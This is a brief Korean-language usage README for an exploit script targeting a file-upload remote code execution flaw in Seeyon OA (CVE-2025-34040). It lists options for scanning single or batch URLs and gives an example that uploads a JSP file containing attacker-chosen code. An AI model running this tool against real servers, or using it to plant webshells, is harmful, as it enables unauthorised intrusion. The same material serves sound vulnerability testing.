
致远OA 파일 업로드로 인한 RCE (CVE-2025-34040)
매개변수
options:
-h, --help show this help message and exit
-u URL, --url URL 검사할 URL을 입력하세요
-f FILE, --file FILE 한 줄에 하나의 URL이 있는 파일 경로를 입력하세요
-n FILENAME, --filename FILENAME
파일 이름을 입력하세요 (기본값: Hello.jsp):
-c CONTENT, --content CONTENT
업로드할 파일 내용을 입력하세요 (기본값: HelloWord):
예시
단일 URL 검사:
python .\CVE-2025-34040Exp.py -u URL
일괄 검사:
python .\CVE-2025-34040Exp.py -f urls.txt
업로드할 파일 이름 지정:
python .\CVE-2025-34040Exp.py -u URL -n Hello.jsp
업로드할 파일 내용 지정:
python .\CVE-2025-34040Exp.py -u URL -n Hello.jsp -c '<% out.println("123");%>'